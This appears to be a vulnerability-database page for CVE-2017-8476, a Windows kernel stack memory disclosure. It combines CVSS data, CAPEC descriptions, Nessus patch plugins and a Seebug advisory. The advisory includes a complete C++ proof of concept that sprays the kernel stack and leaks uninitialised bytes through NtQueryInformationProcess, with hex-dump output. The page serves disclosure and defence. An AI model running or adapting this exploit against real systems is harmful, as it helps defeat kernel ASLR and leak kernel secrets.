Vulnerabilities > CVE-2017-8476 - Information Exposure vulnerability in Microsoft products
Attack vector
LOCAL Attack complexity
LOW Privileges required
LOW Confidentiality impact
HIGH Integrity impact
NONE Availability impact
NONE Summary
The kernel in Microsoft Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT 8.1, Windows 10 Gold, 1511, 1607, 1703, and Windows Server 2016 allows an authenticated attacker to obtain information via a specially crafted application. aka "Windows Kernel Information Disclosure Vulnerability," a different vulnerability than CVE-2017-8491, CVE-2017-8490, CVE-2017-8489, CVE-2017-8488, CVE-2017-8485, CVE-2017-8483, CVE-2017-8482, CVE-2017-8481, CVE-2017-8480, CVE-2017-8478, CVE-2017-8479, CVE-2017-8474, CVE-2017-8469, CVE-2017-8462, CVE-2017-0300, CVE-2017-0299, and CVE-2017-0297.
Vulnerable Configurations
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Subverting Environment Variable Values The attacker directly or indirectly modifies environment variables used by or controlling the target software. The attacker's goal is to cause the target software to deviate from its expected operation in a manner that benefits the attacker.
- Footprinting An attacker engages in probing and exploration activity to identify constituents and properties of the target. Footprinting is a general term to describe a variety of information gathering techniques, often used by attackers in preparation for some attack. It consists of using tools to learn as much as possible about the composition, configuration, and security mechanisms of the targeted application, system or network. Information that might be collected during a footprinting effort could include open ports, applications and their versions, network topology, and similar information. While footprinting is not intended to be damaging (although certain activities, such as network scans, can sometimes cause disruptions to vulnerable applications inadvertently) it may often pave the way for more damaging attacks.
- Exploiting Trust in Client (aka Make the Client Invisible) An attack of this type exploits a programs' vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by placing themselves in the communication channel between client and server such that communication directly to the server is possible where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
- Browser Fingerprinting An attacker carefully crafts small snippets of Java Script to efficiently detect the type of browser the potential victim is using. Many web-based attacks need prior knowledge of the web browser including the version of browser to ensure successful exploitation of a vulnerability. Having this knowledge allows an attacker to target the victim with attacks that specifically exploit known or zero day weaknesses in the type and version of the browser used by the victim. Automating this process via Java Script as a part of the same delivery system used to exploit the browser is considered more efficient as the attacker can supply a browser fingerprinting method and integrate it with exploit code, all contained in Java Script and in response to the same web page request by the browser.
- Session Credential Falsification through Prediction This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
Exploit-Db
| description | Microsoft Windows - 'nt!NtQueryInformationProcess (ProcessVmCounters)' Kernel Stack Memory Disclosure. CVE-2017-8476. Dos exploit for Windows platform |
| file | exploits/windows/dos/42229.cpp |
| id | EDB-ID:42229 |
| last seen | 2017-06-22 |
| modified | 2017-06-22 |
| platform | windows |
| port | |
| published | 2017-06-22 |
| reporter | Exploit-DB |
| source | https://www.exploit-db.com/download/42229/ |
| title | Microsoft Windows - 'nt!NtQueryInformationProcess (ProcessVmCounters)' Kernel Stack Memory Disclosure |
| type | dos |
Nessus
NASL family Windows : Microsoft Bulletins NASL id SMB_NT_MS17_JUN_4022726.NASL description The remote Windows host is missing security update 4022717 or cumulative update 4022726. It is, therefore, affected by multiple vulnerabilities : - An elevation of privilege vulnerability exists in Windows Hyper-V instruction emulation due to a failure to properly enforce privilege levels. An attacker on a guest operating system can exploit this to gain elevated privileges on the guest. Note that the host operating system is not vulnerable. (CVE-2017-0193) - Multiple information disclosure vulnerabilities exist in Windows Uniscribe due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit these, by convincing a user to visit a specially crafted website or open a specially crafted document, to disclose the contents of memory. (CVE-2017-0282, CVE-2017-0284, CVE-2017-0285) - Multiple remote code execution vulnerabilities exist in Windows Uniscribe due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit these, by convincing a user to visit a specially crafted website or open a specially crafted document, to execute arbitrary code in the context of the current user. (CVE-2017-0283, CVE-2017-8528) - Multiple information disclosure vulnerabilities exist in the Windows GDI component due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit these, by convincing a user to visit a specially crafted website or open a specially crafted document, to disclose the contents of memory. (CVE-2017-0287, CVE-2017-0288, CVE-2017-0289, CVE-2017-8531, CVE-2017-8532, CVE-2017-8533) - Multiple remote code execution vulnerabilities exist in Microsoft Windows due to improper parsing of PDF files. An unauthenticated, remote attacker can exploit these, by convincing a user to open a specially crafted PDF file, to execute arbitrary code in the context of the current user. (CVE-2017-0291, CVE-2017-0292) - A remote code execution vulnerability exists in Microsoft Windows due to improper handling of cabinet files. An unauthenticated, remote attacker can exploit this, by convincing a user to open a specially crafted cabinet file, to execute arbitrary code in the context of the current user. (CVE-2017-0294) - An elevation of privilege vulnerability exists in tdx.sys due to a failure to check the length of a buffer prior to copying memory to it. A local attacker can exploit this, via a specially crafted application, to execute arbitrary code in an elevated context. (CVE-2017-0296) - An elevation of privilege vulnerability exists in the Windows kernel due to improper handling of objects in memory. A local attacker can exploit this, via a specially crafted application, to execute arbitrary code with elevated permissions. (CVE-2017-0297) - An elevation of privilege vulnerability exists in the DCOM object in Helppane.exe, when configured to run as the interactive user, due to a failure to properly authenticate the client. An authenticated, remote attacker can exploit this, via a specially crafted application, to run arbitrary code in another user last seen 2020-06-01 modified 2020-06-02 plugin id 100764 published 2017-06-13 reporter This script is Copyright (C) 2017-2018 Tenable Network Security, Inc. source https://www.tenable.com/plugins/nessus/100764 title Windows 8.1 and Windows Server 2012 R2 June 2017 Security Updates NASL family Windows : Microsoft Bulletins NASL id SMB_NT_MS17_JUN_4022727.NASL description The remote Windows 10 version 1507 host is missing security update KB4022727. It is, therefore, affected by multiple vulnerabilities : - An elevation of privilege vulnerability exists in Windows Hyper-V instruction emulation due to a failure to properly enforce privilege levels. An attacker on a guest operating system can exploit this to gain elevated privileges on the guest. Note that the host operating system is not vulnerable. (CVE-2017-0193) - Multiple security bypass vulnerabilities exist in Device Guard. A local attacker can exploit these, via a specially crafted script, to bypass the Device Guard Code Integrity policy and inject arbitrary code into a trusted PowerShell process. (CVE-2017-0218, CVE-2017-0219) - Multiple information disclosure vulnerabilities exist in Windows Uniscribe due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit these, by convincing a user to visit a specially crafted website or open a specially crafted document, to disclose the contents of memory. (CVE-2017-0282, CVE-2017-0284, CVE-2017-0285) - A remote code execution vulnerability exists in Windows Uniscribe software due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit this, by convincing a user to visit a specially crafted website or open a specially crafted document, to execute arbitrary code in the context of the current user. (CVE-2017-0283) - Multiple information disclosure vulnerabilities exist in the Windows GDI component due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit these, by convincing a user to visit a specially crafted website or open a specially crafted document, to disclose the contents of memory. (CVE-2017-0287, CVE-2017-0288, CVE-2017-0289, CVE-2017-8531, CVE-2017-8532, CVE-2017-8533) - Multiple remote code execution vulnerabilities exist in Microsoft Windows due to improper parsing of PDF files. An unauthenticated, remote attacker can exploit these, by convincing a user to open a specially crafted PDF file, to execute arbitrary code in the context of the current user. (CVE-2017-0291, CVE-2017-0292) - A remote code execution vulnerability exists in Microsoft Windows due to improper handling of cabinet files. An unauthenticated, remote attacker can exploit this, by convincing a user to open a specially crafted cabinet file, to execute arbitrary code in the context of the current user. (CVE-2017-0294) - An elevation of privilege vulnerability exists in tdx.sys due to a failure to check the length of a buffer prior to copying memory to it. A local attacker can exploit this, via a specially crafted application, to execute arbitrary code in an elevated context. (CVE-2017-0296) - An elevation of privilege vulnerability exists in the Windows kernel due to improper handling of objects in memory. A local attacker can exploit this, via a specially crafted application, to execute arbitrary code with elevated permissions. (CVE-2017-0297) - An elevation of privilege vulnerability exists in the DCOM object in Helppane.exe, when configured to run as the interactive user, due to a failure to properly authenticate the client. An authenticated, remote attacker can exploit this, via a specially crafted application, to run arbitrary code in another user last seen 2020-05-31 modified 2017-06-13 plugin id 100765 published 2017-06-13 reporter This script is Copyright (C) 2017-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/100765 title KB4022727: Windows 10 Version 1507 June 2017 Cumulative Update NASL family Windows : Microsoft Bulletins NASL id SMB_NT_MS17_JUN_4022724.NASL description The remote Windows host is missing security update 4022718 or cumulative update 4022724. It is, therefore, affected by multiple vulnerabilities : - An elevation of privilege vulnerability exists in Windows Hyper-V instruction emulation due to a failure to properly enforce privilege levels. An attacker on a guest operating system can exploit this to gain elevated privileges on the guest. Note that the host operating system is not vulnerable. (CVE-2017-0193) - Multiple information disclosure vulnerabilities exist in Windows Uniscribe due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit these, by convincing a user to visit a specially crafted website or to open a specially crafted document file, to disclose the contents of memory. (CVE-2017-0282, CVE-2017-0284, CVE-2017-0285) - Multiple remote code execution vulnerabilities exist in Windows Uniscribe due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit these, by convincing a user to visit a specially crafted website or open a specially crafted document, to execute arbitrary code in the context of the current user. (CVE-2017-0283, CVE-2017-8528) - Multiple information disclosure vulnerabilities exist in the Windows GDI component due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit these, by convincing a user to visit a specially crafted website or to open a specially crafted document file, to disclose the contents of memory. (CVE-2017-0287, CVE-2017-0288, CVE-2017-0289, CVE-2017-8531, CVE-2017-8532, CVE-2017-8533) - Multiple remote code execution vulnerabilities exist in Microsoft Windows due to improper parsing of PDF files. An unauthenticated, remote attacker can exploit these, by convincing a user to open a specially crafted PDF file, to execute arbitrary code in the context of the current user. (CVE-2017-0291, CVE-2017-0292) - A remote code execution vulnerability exists in Microsoft Windows due to improper handling of cabinet files. An unauthenticated, remote attacker can exploit this, by convincing a user to open a specially crafted cabinet file, to execute arbitrary code in the context of the current user. (CVE-2017-0294) - An elevation of privilege vulnerability exists in tdx.sys due to a failure to check the length of a buffer prior to copying memory to it. A local attacker can exploit this, via a specially crafted application, to execute arbitrary code in an elevated context. (CVE-2017-0296) - An elevation of privilege vulnerability exists in the Windows kernel due to improper handling of objects in memory. A local attacker can exploit this, via a specially crafted application, to execute arbitrary code with elevated permissions. (CVE-2017-0297) - An elevation of privilege vulnerability exists in the DCOM object in Helppane.exe, when configured to run as the interactive user, due to a failure to properly authenticate the client. An authenticated, remote attacker can exploit this, via a specially crafted application, to run arbitrary code in another user last seen 2020-05-31 modified 2017-06-13 plugin id 100762 published 2017-06-13 reporter This script is Copyright (C) 2017-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/100762 title Windows Server 2012 June 2017 Security Updates NASL family Windows : Microsoft Bulletins NASL id SMB_NT_MS17_JUN_WIN2008.NASL description The remote Windows host is missing multiple security updates. It is, therefore, affected by multiple vulnerabilities : - An information disclosure vulnerability exists when affected Microsoft browsers improperly handle objects in memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user last seen 2020-06-01 modified 2020-06-02 plugin id 100786 published 2017-06-14 reporter This script is Copyright (C) 2017-2018 Tenable Network Security, Inc. source https://www.tenable.com/plugins/nessus/100786 title Windows 2008 June 2017 Multiple Security Updates NASL family Windows : Microsoft Bulletins NASL id SMB_NT_MS17_JUN_4022715.NASL description The remote Windows host is missing security update KB4022715. It is, therefore, affected by multiple vulnerabilities : - Multiple security bypass vulnerabilities exist in Device Guard. A local attacker can exploit these, via a specially crafted script, to bypass the Device Guard Code Integrity policy and inject arbitrary code into a trusted PowerShell process. (CVE-2017-0173, CVE-2017-0215, CVE-2017-0216, CVE-2017-0218, CVE-2017-0219) - An elevation of privilege vulnerability exists in Windows Hyper-V instruction emulation due to a failure to properly enforce privilege levels. An attacker on a guest operating system can exploit this to gain elevated privileges on the guest. Note that the host operating system is not vulnerable. (CVE-2017-0193) - Multiple information disclosure vulnerabilities exist in Windows Uniscribe due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit these, by convincing a user to visit a specially crafted website or open a specially crafted document, to disclose the contents of memory. (CVE-2017-0282, CVE-2017-0284, CVE-2017-0285) - A remote code execution vulnerability exists in Windows Uniscribe software due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit this, by convincing a user to visit a specially crafted website or to open a specially crafted document, to execute arbitrary code in the context of the current user. (CVE-2017-0283) - Multiple information disclosure vulnerabilities exist in the Windows GDI component due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit these, by convincing a user to visit a specially crafted website or open a specially crafted document, to disclose the contents of memory. (CVE-2017-0287, CVE-2017-0288, CVE-2017-0289, CVE-2017-8531, CVE-2017-8532, CVE-2017-8533) - Multiple remote code execution vulnerabilities exist in Microsoft Windows due to improper parsing of PDF files. An unauthenticated, remote attacker can exploit these, by convincing a user to open a specially crafted PDF file, to execute arbitrary code in the context of the current user. (CVE-2017-0291, CVE-2017-0292) - A remote code execution vulnerability exists in Microsoft Windows due to improper handling of cabinet files. An unauthenticated, remote attacker can exploit this, by convincing a user to open a specially crafted cabinet file, to execute arbitrary code in the context of the current user. (CVE-2017-0294) - A flaw exists in Microsoft Windows due to incorrect permissions being set on folders inside the DEFAULT folder structure. An authenticated, remote attacker can exploit this, by logging in to the affected system before the user can log in, to modify the user last seen 2020-05-31 modified 2017-06-13 plugin id 100760 published 2017-06-13 reporter This script is Copyright (C) 2017-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/100760 title KB4022715: Windows 10 Version 1607 and Windows Server 2016 June 2017 Cumulative Update NASL family Windows : Microsoft Bulletins NASL id SMB_NT_MS17_JUN_4022714.NASL description The remote Windows 10 version 1511 host is missing security update KB4022714. It is, therefore, affected by multiple vulnerabilities : - An elevation of privilege vulnerability exists in Windows Hyper-V instruction emulation due to a failure to properly enforce privilege levels. An attacker on a guest operating system can exploit this to gain elevated privileges on the guest. Note that the host operating system is not vulnerable. (CVE-2017-0193) - Multiple security bypass vulnerabilities exist in Device Guard. A local attacker can exploit these, via a specially crafted script, to bypass the Device Guard Code Integrity policy and inject arbitrary code into a trusted PowerShell process. (CVE-2017-0216, CVE-2017-0218, CVE-2017-0219) - Multiple information disclosure vulnerabilities exist in Windows Uniscribe due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit these, by convincing a user to visit a specially crafted website or to open a specially crafted document, to disclose the contents of memory. (CVE-2017-0282, CVE-2017-0284, CVE-2017-0285) - A remote code execution vulnerability exists in Windows Uniscribe software due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit this, by convincing a user to visit a specially crafted website or to open a specially crafted document, to execute arbitrary code in the context of the current user. (CVE-2017-0283) - Multiple information disclosure vulnerabilities exist in the Windows GDI component due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit these, by convincing a user to visit a specially crafted website or open a specially crafted document, to disclose the contents of memory. (CVE-2017-0287, CVE-2017-0288, CVE-2017-0289, CVE-2017-8531, CVE-2017-8532, CVE-2017-8533) - Multiple remote code execution vulnerabilities exist in Microsoft Windows due to improper parsing of PDF files. An unauthenticated, remote attacker can exploit these, by convincing a user to open a specially crafted PDF file, to execute arbitrary code in the context of the current user. (CVE-2017-0291, CVE-2017-0292) - A remote code execution vulnerability exists in Microsoft Windows due to improper handling of cabinet files. An unauthenticated, remote attacker can exploit this, by convincing a user to open a specially crafted cabinet file, to execute arbitrary code in the context of the current user. (CVE-2017-0294) - An elevation of privilege vulnerability exists in tdx.sys due to a failure to check the length of a buffer prior to copying memory to it. A local attacker can exploit this, via a specially crafted application, to execute arbitrary code in an elevated context. (CVE-2017-0296) - An elevation of privilege vulnerability exists in the Windows kernel due to improper handling of objects in memory. A local attacker can exploit this, via a specially crafted application, to execute arbitrary code with elevated permissions. (CVE-2017-0297) - An elevation of privilege vulnerability exists in the DCOM object in Helppane.exe, when configured to run as the interactive user, due to a failure to properly authenticate the client. An authenticated, remote attacker can exploit this, via a specially crafted application, to run arbitrary code in another user last seen 2020-05-31 modified 2017-06-13 plugin id 100759 published 2017-06-13 reporter This script is Copyright (C) 2017-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/100759 title KB4022714: Windows 10 Version 1511 June 2017 Cumulative Update NASL family Windows : Microsoft Bulletins NASL id SMB_NT_MS17_JUN_4022719.NASL description The remote Windows host is missing security update 4022722 or cumulative update 4022719. It is, therefore, affected by multiple vulnerabilities : - An elevation of privilege vulnerability exists in Windows Hyper-V instruction emulation due to a failure to properly enforce privilege levels. An attacker on a guest operating system can exploit this to gain elevated privileges on the guest. Note that the host operating system is not vulnerable. (CVE-2017-0193) - A remote code execution vulnerability exists in Microsoft Office due to improper validation of user-supplied input before loading dynamic link library (DLL) files. An unauthenticated, remote attacker can exploit this, by convincing a user to open a specially crafted file, to execute arbitrary code in the context of the current user. (CVE-2017-0260) - Multiple information disclosure vulnerabilities exist in Windows Uniscribe due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit these, by convincing a user to visit a specially crafted website or to open a specially crafted document file, to disclose the contents of memory. (CVE-2017-0282, CVE-2017-0284, CVE-2017-0285, CVE-2017-8534) - Multiple remote code execution vulnerabilities exist in Windows Uniscribe software due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit these, by convincing a user to visit a specially crafted website or to open a specially crafted document file, to execute arbitrary code in the context of the current user. (CVE-2017-0283, CVE-2017-8528) - Mutiple information disclosure vulnerabilities exist in the Windows GDI component due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit these, by convincing a user to visit a specially crafted website or to open a specially crafted document file, to disclose the contents of memory. (CVE-2017-0286, CVE-2017-0287, CVE-2017-0288, CVE-2017-0289, CVE-2017-8531, CVE-2017-8532, CVE-2017-8533) - A remote code execution vulnerability exists in Microsoft Windows due to improper handling of cabinet files. An unauthenticated, remote attacker can exploit this, by convincing a user to open a specially crafted cabinet file, to execute arbitrary code in the context of the current user. (CVE-2017-0294) - An elevation of privilege vulnerability exists in tdx.sys due to a failure to check the length of a buffer prior to copying memory to it. A local attacker can exploit this, via a specially crafted application, to execute arbitrary code in an elevated context. (CVE-2017-0296) - An elevation of privilege vulnerability exists in the Windows kernel due to improper handling of objects in memory. A local attacker can exploit this, via a specially crafted application, to execute arbitrary code with elevated permissions. (CVE-2017-0297) - An elevation of privilege vulnerability exists in the DCOM object in Helppane.exe, when configured to run as the interactive user, due to a failure to properly authenticate the client. An authenticated, remote attacker can exploit this, via a specially crafted application, to run arbitrary code in another user last seen 2020-05-31 modified 2017-06-13 plugin id 100761 published 2017-06-13 reporter This script is Copyright (C) 2017-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/100761 title Windows 7 and Windows Server 2008 R2 June 2017 Security Updates NASL family Windows : Microsoft Bulletins NASL id SMB_NT_MS17_JUN_4022725.NASL description The remote Windows 10 version 1703 host is missing security update KB4022725. It is, therefore, affected by multiple vulnerabilities : - Multiple information disclosure vulnerabilities exist in Windows Uniscribe due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit these, by convincing a user to visit a specially crafted website or to open a specially crafted document, to disclose the contents of memory. (CVE-2017-0282, CVE-2017-0285) - A remote code execution vulnerability exists in Windows Uniscribe software due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit this, by convincing a user to visit a specially crafted website or to open a specially crafted document, to execute arbitrary code in the context of the current user. (CVE-2017-0283) - Multiple information disclosure vulnerabilities exist in the Windows GDI component due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit these, by convincing a user to visit a specially crafted website or open a specially crafted document, to disclose the contents of memory. (CVE-2017-0287, CVE-2017-0288, CVE-2017-0289, CVE-2017-8531, CVE-2017-8532, CVE-2017-8533) - Multiple remote code execution vulnerabilities exist in Microsoft Windows due to improper parsing of PDF files. An unauthenticated, remote attacker can exploit these, by convincing a user to open a specially crafted PDF file, to execute arbitrary code in the context of the current user. (CVE-2017-0291, CVE-2017-0292) - A remote code execution vulnerability exists in Microsoft Windows due to improper handling of cabinet files. An unauthenticated, remote attacker can exploit this, by convincing a user to open a specially crafted cabinet file, to execute arbitrary code in the context of the current user. (CVE-2017-0294) - A flaw exists in Microsoft Windows due to incorrect permissions being set on folders inside the DEFAULT folder structure. An authenticated, remote attacker can exploit this, by logging in to the affected system before the user can log in, to modify the user last seen 2020-05-31 modified 2017-06-13 plugin id 100763 published 2017-06-13 reporter This script is Copyright (C) 2017-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/100763 title KB4022725: Windows 10 Version 1703 June 2017 Cumulative Update
Seebug
| bulletinFamily | exploit |
| description | We have discovered that the nt!NtQueryInformationProcess system call called with the ProcessVmCounters information class discloses portions of uninitialized kernel stack memory to user-mode clients, due to output structure alignment holes. On our test Windows 10 32-bit workstation, an example layout of the output buffer is as follows: ``` --- cut --- 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 ................ --- cut --- ``` Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode. The output data can be returned in a VM_COUNTERS_EX2 structure: ``` --- cut --- typedef struct _VM_COUNTERS_EX { SIZE_T PeakVirtualSize; SIZE_T VirtualSize; ULONG PageFaultCount; SIZE_T PeakWorkingSetSize; SIZE_T WorkingSetSize; SIZE_T QuotaPeakPagedPoolUsage; SIZE_T QuotaPagedPoolUsage; SIZE_T QuotaPeakNonPagedPoolUsage; SIZE_T QuotaNonPagedPoolUsage; SIZE_T PagefileUsage; SIZE_T PeakPagefileUsage; SIZE_T PrivateUsage; } VM_COUNTERS_EX; typedef struct _VM_COUNTERS_EX2 { VM_COUNTERS_EX CountersEx; SIZE_T PrivateWorkingSetSize; ULONGLONG SharedCommitUsage; } VM_COUNTERS_EX2, *PVM_COUNTERS_EX2; --- cut --- ``` If we map the above shadow bytes to the structure definition, it turns out that the uninitialized bytes correspond to the alignment hole between the PrivateWorkingSetSize and SharedCommitUsage fields. The PrivateWorkingSetSize field ends at offset 0x34 of the structure, while SharedCommitUsage must be 8-byte aligned, causing a gap to be introduced at offsets 0x34-0x37, which is not initialized by the kernel prior to being copied back to the client application. The attached proof of concept code works by first filling a large portion of the kernel stack with a controlled marker byte 0x41 ('A') using the nt!NtMapUserPhysicalPages system call, and then invokes the affected nt!NtQueryInformationProcess syscall. As a result, we can observe that these leftover bytes are indeed leaked to user-mode at offset 0x34 of the output structure: ``` --- cut --- 00000000: 00 50 a8 00 00 50 a8 00 9b 01 00 00 00 00 19 00 .P...P.......... 00000010: 00 00 19 00 48 45 00 00 98 44 00 00 30 0a 00 00 ....HE...D..0... 00000020: 00 05 00 00 00 d0 05 00 00 c0 06 00 00 d0 05 00 ................ 00000030: 00 30 02 00[41 41 41 41]00 30 05 00 00 00 00 00 .0..AAAA.0...... --- cut --- ``` Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. NtQueryInformationProcess.cpp ``` #include <Windows.h> #include <winternl.h> #include <cstdio> #define ProcessVmCounters ((PROCESSINFOCLASS)3) typedef struct _VM_COUNTERS_EX { SIZE_T PeakVirtualSize; SIZE_T VirtualSize; ULONG PageFaultCount; SIZE_T PeakWorkingSetSize; SIZE_T WorkingSetSize; SIZE_T QuotaPeakPagedPoolUsage; SIZE_T QuotaPagedPoolUsage; SIZE_T QuotaPeakNonPagedPoolUsage; SIZE_T QuotaNonPagedPoolUsage; SIZE_T PagefileUsage; SIZE_T PeakPagefileUsage; SIZE_T PrivateUsage; } VM_COUNTERS_EX; typedef struct _VM_COUNTERS_EX2 { VM_COUNTERS_EX CountersEx; SIZE_T PrivateWorkingSetSize; ULONGLONG SharedCommitUsage; } VM_COUNTERS_EX2, *PVM_COUNTERS_EX2; extern "C" ULONG WINAPI NtMapUserPhysicalPages( PVOID BaseAddress, ULONG NumberOfPages, PULONG PageFrameNumbers ); VOID PrintHex(PBYTE Data, ULONG dwBytes) { for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } } VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) { for (ULONG i = 0; i < size; i++) { ptr[i] = byte; } } VOID SprayKernelStack() { // Buffer allocated in static program memory, hence doesn't touch the local stack. static BYTE buffer[4096]; // Fill the buffer with 'A's and spray the kernel stack. MyMemset(buffer, 'A', sizeof(buffer)); NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer); // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's. MyMemset(buffer, 'B', sizeof(buffer)); } int main() { VM_COUNTERS_EX2 counters; ZeroMemory(&counters, sizeof(counters)); SprayKernelStack(); DWORD ReturnLength; NTSTATUS st = NtQueryInformationProcess(GetCurrentProcess(), ProcessVmCounters, &counters, sizeof(counters), &ReturnLength); if (!NT_SUCCESS(st)) { printf("NtQueryInformationProcess failed, %x\n", st); return 1; } PrintHex((PBYTE)&counters, ReturnLength); return 0; } ``` |
| id | SSV:96234 |
| last seen | 2017-11-19 |
| modified | 2017-06-27 |
| published | 2017-06-27 |
| reporter | Root |
| title | Windows Kernel stack memory disclosure in nt!NtQueryInformationProcess(CVE-2017-8476) |